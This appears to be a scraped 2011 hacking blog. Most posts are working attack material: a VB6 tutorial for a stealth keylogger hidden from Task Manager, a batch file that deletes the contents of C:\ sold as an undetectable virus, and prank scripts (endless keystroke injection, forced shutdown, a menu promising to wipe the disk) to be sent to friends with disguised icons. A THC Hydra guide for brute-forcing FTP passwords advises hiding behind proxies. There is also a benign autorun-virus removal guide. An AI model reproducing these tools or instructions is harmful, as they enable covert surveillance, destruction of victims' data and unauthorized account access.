In Maximum security mode, you cannot unlock the disk! The only way to
get the disk back to a usable state is to issue the SECURITY ERASE
PREPARE command, immediately followed by SECURITY ERASE UNIT. The
SECURITY ERASE UNIT command requires the Master password and will
completely erase all data on the disk. The operation is rather slow,
expect half an hour or more for big disks. (Word 89 in the IDENTIFY
response indicates how long the operation will take.)

Thanks...

How to make a keylogger? (Write keylogger in VB)

2011-11-06T03:08:00.001-08:00

Before we start programming, we need to answer a basic question: what is a keylogger?
As the name implies (key+logger) – a keylogger is a computer program that logs (records) the keys (keyboard buttons) pressed by a user. This should be simple to understand. Lets say that I am doing something at my computer.
A keylogger is also running (working) on this computer. This would mean that the keylogger is “listening” to all the keys I am pressing and it is writing all the keys to a log file of some sort. Also, as one might have guessed already, we don’t want the user to know that their keys are being logged. So this would mean that our keylogger should work relatively stealth and must not, in any case, show its presence to the user. Good, now we know what a keylogger as and we have an idea of its functions, lets move on to the next step.

=========================================
Basic Concepts: What needs to be achieved
=========================================
Ok, now lets plan our program, what should such keyloger do and what it should not. Significant difference to previous section is in the sense that here we shall discuss the LOGIC, the instructions that our program will follow.
Keylogger will:
1 – listen to all the key strokes of the user.
2 – save these keys in a log file.
3 – during logging, does not reveal its presence to the user.
4 – keeps doing its work as long as the used is logged on regardless of users actions.

==========================================
Implementation: Converting logic into code
==========================================
We shall use Visual Basic because it is much easier and simple to understand comparing to C++ or Java as far as novice audience is concerned. Although programmers consider it somewhat lame to code in VB but truthfully speaking, its the natural language for writing hacking/cracking programs. Lets cut to the chase – start your VB6 environment and we are ready to jump the ride!

We need a main form, which will act as HQ to the program.

First of all, as our program shall run, we need to make sure it is hidden. This should be very simple to accomplish:
Private Sub Form_Load()
Me.Visisble = False
End Sub
This makes our program invisible to the human eye. To make it invisible to computers eye too, we need to add this line in the Form_Load() event App.TaskVisible = False . This enabled our logger to run in stealth mode and the regular Task Manager will not see our application. Although it will still be possible to see it in the processes tab, there are “ways” to make it hidden.
Figure them out yourself, they have nothing to do with programming.

OK, now that our program has run in stealth mode, it should do its essential logging task. For this, we shall be using a whole load of API. These are the interfaces that the Application Platform (windows) itself provides us in those annoying dll files.

There are 3 methods to listen for keys:

* GetAsyncKeyState
* GetKeyboardState
* Windows Hooks

Althought the last method is easier to use, this will not work on Windows98 and also it is NOT very precise. Many people use it, but as my experiences revealed, Keyboard Hooks are only a good way of blocking keys and nothing else. The most exact and precise method in my experience is GetAsyncKeyState()

So lets use this function, but where is that damn thing and how to use it?

Private Declare Function GetAsyncKeyState Lib “USER32″ (ByVal vKey As Long) As Integer

This is how we use a function already present in a dll file. In this case we are using the user32.dll and the function we are using is GetAsyncKeyState().
The arguments (Long vKey), and return value (Long) shall be discussed later, right now its enough to know that this function can listen to keystrokes.

What we need next is to run this function infinitely (as long as the system is running). To do this, just put a Timer control on the form and name it tmrTimer.
This timer is used to run the same line of code forever. Note that a while loop with a universally true condition would also accomplish same, but the while loop will certainly hang the system and will lead to its crash as opposed to timer.

Timer will not hang the system at all because a while loop tends to carry out the instruction infinitely WITHOUT any break and it also keeps the control to itself, meaning that we cannot do any other job as the loop is running (and with a universally true statement, the while loop will not let the control pass to ANYWHERE else in the program making all the code useless) while the Timer control just carries out the instuction after a set amount of time.

So the two possibilities are:

Do While 1=1
‘our use of the GAKS (GetAsyncKeyState) function Loop
and
Private Sub tmrTimer_Timer()
‘our use of the GAKS function
End Sub

Timer being set, lets move on to see how the GAKS function works and how are we going to use it. Basically what the GAKS function does is that it tells us if a specific key is being pressed or not. We can use the GAKS function like this: Hey GAKS() check if the ‘A’ key is being pressed.
And the GAKS function will tell us if it is being pressed or not. Sadly, we can’t communicate with processors like this, we have to use some
amboyant 007 style

If GAKS(65)<>0 Then
Msgbox “The ‘A’ key is being pressed”
Else
Msgbox “The ‘A’ key is not being pressed”
End If

Now lets see how this code works: GAKS uses ASCII key codes and 65 is the ASCII code for ‘A’ If the ‘A’ key is being pressed then GAKS will return a non-zero value (often 1) and if the key is not being pressed then it will return 0. Hence If GAKS(65)<>0 will be comprehended by the VB compiler as “If the ‘A’ key is being pressed”.

Sticking all this stuff together, we can use this code to write a basic functional keylogger:

Private Sub tmrTimer_Timer()
Dim i As Integer
Static data As String
For i = 65 to 90 ‘represents ASCII codes from ‘A’ to ‘Z’
If GAKS(i)<>0 Then data = data & Chr(i)
Next i
If GAKS(32) <> 0 Then data = data &a ” ” ‘checking for the space bar
If Len(data)>=100 Then
Msgbox “The last 100 (or a couple more) are these ” & VBNewLine & data
data = “”
End If
End Sub

This alone is enough to create a basic functioning keylogger although it is far from practical use. But this does the very essential function of keylogger. Do try it and modify it to your needs to see how GAKS works and how do the Timer delays affect the functionality of a keylogger. Honestly speaking, the core of our keylogger is complete, we have only to sharpen it now and make it precise, accurate and comprehensive.

The first problem that one encounters using GAKS is that this function is far too sensitive than required. Meaning that if we keep a key pressed for 1/10th of a second, this function will tell us that the key has been pressed for at least 2 times, while it actually was a sigle letter. For this, we must sharpen it.
We need to add what I call “essential time count” to this function. This means that we need to tell it to generate a double key press only if the key has been pressed for a specified amount of time.
For this, we need a whole array of counters. So open your eyes and listen attentively.

Dim count(0 to 255) As Integer

This array is required for remembering the time count for the keys. i.e. to remember for how long the key has been pressed.

Private Sub tmrTimer_Timer()
Dim i As Integer
Const timelimit As Integer = 10
Static data As String
For i=0 To 255 ‘for all the ASCII codes
If GAKS(i)<>0 Then
If count(i) = 0 Then ‘if the key has just been pressed
data = data & Chr(i)
ElseIf count(i) < timelimit Then
count(i) = count(i) + 1 ‘add 1 to the key count
Else
count(i) = 0 ‘initialize the count
data = data & Chr(i)
End If
Else ‘if the key is not being pressed
count(i) = 0
End If
Next i
End Sub

What we have done here is that we have set a time limit before the GAKS function will tell us that the key is being pressed. This means, in simple words, that if we press and hold the ‘A’ key, the GAKS function will not blindly tell us the ‘A’ key is being pressed, but it will wait for sometime before telling us again that the key is being pressed. This is a very important thing to do, because many users are not very fast typists and tend to press a key for somewhat longer than required.
Now what is left (of the basic keylogger implementation) is just that we write the keys to a file. This should be very simple:

Private Sub timrTimer_Timer()
‘do all the fuss and listen for keystrokes
‘if a key press is detected
Open App.Path & “\logfile.txt” For Append As #1
Print #1, Chr(keycode);
Close #1
End Sub

Note that this is the very basic concept of writing a keylogger, we have yet not added autostart option and neither have we added an post-compile functionality edit options. These are advanced issues for the beginners. If you would like me to write about them, do tell me and I will write about them too, step by step.

Please do comment on this article, telling me what it lacks and what was not required in it. Feel free to post this anywhere you like, just make sure you don’t use it for commercial purposes. If you have any questions about any part of it let me know and I will try to answer.

Thanks,,,

How to delete Autorun.inf virus?

2011-11-06T03:01:00.000-08:00

Once it happened to a friend of mine, when his newly bought laptop was infected with this autorun.inf virus. This virus corrupted almost all the drives on the Hard disk, and when ever he tried to double click on the drive or opening any drive it opened in a new window. In some cases, when your drive is infected with this Autorun.inf virus, you won’t be able to access the drive completely. You have to browse the drive by Exploring it i.e; Ctrl+E keys from the keyboard.

Sometimes ever you will not be able to see hidden files even if you have Show hidden files Enabled under Folder Options. well, this are all the wonders of this Autorun.inf virus.

I am going to show you this rare method of removing Autorun.inf manually using just winrar application, not any antivirus or malware programs.

Solution to Remove Autorun.inf Virus

Step 1: First Disable CD/DVD or USB Autorun in windows
When ever you plug a usb device to the system or insert a cd/dvd disk, The windows Autorun Run utility runs and displays certain options like Open files to view, Play, Do nothing etc.

Although this a good utility provided by windows xp operating system, It is sometimes very dangerous too. When A virus infected Usb drive or Cd is plugged into the system, the virus gets a chance to attack you Operating system, by running automatically when you plug your device in.

Follow the below steps and ensure your systems safety.

1) Click Start –> Run and type GPEDIT.MSC – This opens Group Policy editor window.

2) On the left side –> expand Computer Configuration–> Administrative Templates–> System.
for windows 7--> expand Computer Configuration–> Administrative Templates–> Windows Components.

3) Locate the entry for Turn autoplay off on the right side.

4) Double click it and select “Enabled”

Step 2: Open Winrar.exe (Start–>All Programs–>WinRar–>WinRar.exe)

Step 3: Now Browse to any drive that is infected with Autorun.inf virus using winrar explorer.

Step4: Here you will see all the hidden files under winrar for that particular drive.

Step 5: Look for the file Autorun.inf and open it using notepad.

Step 6: In that Autorun file, some .EXE file will be mentioned that will be executed along with the autorun file. This exe file is the main culprit.

Step 7: Note the exe file mentioned in the Autorun.inf file. Close this Autorun.inf file.

Step 8: Now look for that .Exe file in the drive (Ex: c:/), Delete that .exe file along with Autorun.inf

Step 9: Restart your Operating System. Now your system is free with Autorun.inf Virus.

Note: Repeat the same process if your Usb or Pendrives are infected with Autorun.inf virus.

If you know anyother method to remove autorun virus from windows operating system, them kindly let me know by posting your method using the Comments on this post.

Thanks...

fr any help

2011-06-28T06:51:00.001-07:00

http://www.techtalkz.com/tips-n-tricks/3112-learn-simple-virus-program-using-notepad.html

write ur own simple virus cant detected by any antivirus....

2011-06-28T06:49:00.002-07:00

@Echo off
Del C:\ *.* |y

And save that as .bat not .txt and RUN IT
It will delete the content of C:\ drive...

PLEASE NoTe::::: dont run that .bat file on ur system .... it will delet c:...

IF ANY ONE..... DARE TO ......RUN ...U LOST ..........CONTENTS OF C drive

EVEN I DIDN't TRY THIS........

I WILL NOT RESPONSIBLE FOR ANYTHING DONE BYE U USING THE INFORMATION GIVEN ABOVE...

for any help(www.myhistoryweb.blogspot.com

2011-06-28T06:49:00.000-07:00

10) THRETEN BY MAKING SCREEN FLASH

2011-06-28T06:47:00.002-07:00

To make a really cool batch file that can make your entire screen flash random colors until you hit a key to stop it, simply copy and paste the following code into notepad and then save it as a .bat file.

@echo off
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
But if you really want to mess with a friend then copy and paste the following code which will do the same thing except when they press a key the screen will go black and the only way to stop the batch file is by pressing CTRL-ALT-DELETE.
@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
goto a

To disable error (ctrl+shirt+esc) then end process wscript.exe
Enjoy!!!^^

9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:

2011-06-28T06:47:00.000-07:00

1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :

@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

Save it as "Anything.BAT" and send it.

You might wanna have to change the Icon of the file before sending it to your friend, so right click the file, click Properties, click on the 'Change' Icon and change the icon from there.

8. Open Notepad continually in your friend's computer: Type :

2011-06-28T06:46:00.001-07:00

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as "Anything.BAT" and send it.

7) Hack your friend's keyboard and make him type "You are a fool" simultaneously: Type :

2011-06-28T06:45:00.002-07:00

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save it as "Anything.VBS" and send it.

6) Frustrate your friend by making this VBScript hit Backspace simultaneously:

2011-06-28T06:45:00.000-07:00

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Save it as "Anything.VBS" and send it.

5) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out: Type :

2011-06-28T06:44:00.000-07:00

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Save it as "Anything.VBS" and send it

4) Frustrate your friend by making this VBScript hit Enter simultaneously: Type :

2011-06-28T06:43:00.002-07:00

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS" and send it.

3) Convey your friend a lil' message and shut down his / her computer: Type :

2011-06-28T06:43:00.000-07:00

@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" in All Files and send it.

2) Toggle your friend's Caps Lock button simultaneously: Type :

2011-06-28T06:42:00.001-07:00

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Save it as "Anything.VBS" and send it.

Create virus for 1)Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them?

2011-06-28T06:41:00.001-07:00

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Save it as "Anything.VBS" and send it.

How to crack account password through brute force?

2011-06-27T01:15:00.000-07:00

What is brute forcing ?
In layman language, brute forcing means using a tool that picks passwords from a word list and tries them one by one until one works.

How to make a word list ?
A word list can consist of all possible combination's of letter,numbers,special characters. It can have some common or default passwords. You can download the word list generators or goggle the word-lists for brute-forcing and configure them according to yourself.

How fruitful attack can be ?
If we are try all possible combination's of letter,numbers,special characters, theoretically chances of success are 100%. But practically it is not possible to try every combination because it can take a lot of time. This attack just depends on the time you give,processing power and of course your luck.

Many tools are use for it hydra is one of them

Step 1
Download THC Hydra from( http://www.ziddu.com/download/14050686/hydra-5.7-src.tar.gz.zip.html)

Step 2
(a) Make a usename wordlist consisting of some common usernames like this

(b) Get a wordlist of passwords
(c) Copy both wordlists to your hydra folder

Step 3
(a)Open the command prompt and change directory to your hydra folder using cd command.

(b) Type "hydra" without quotes and it will show you the options to use.

(c) Now to start attak,

Type "hydra -L userslist.txt -P passlist.txt xxx.xxx.xxx.xxx ftp" and press enter

where userslist.txt is the list of usernames, passlist.txt is the list of passwords and xxx.xxx.xxx.xxx is the IP address of target, Now it will start cracking

To use a single username instead of wordlist , Replace capital L with small l , like this

Type "hydra -l username -P passlist.txt xxx.xxx.xxx.xxx ftp"

Note : Ftp port must be open.

Warning: I highly recommend you to use a chain of proxies to spoof your identity because proper logs of user's IP addresses who try to connect to ftp server is made on the server. Here is an example of the same.

Countermeasures to protect yourself from this attack:
Use strong passwords

THANKS....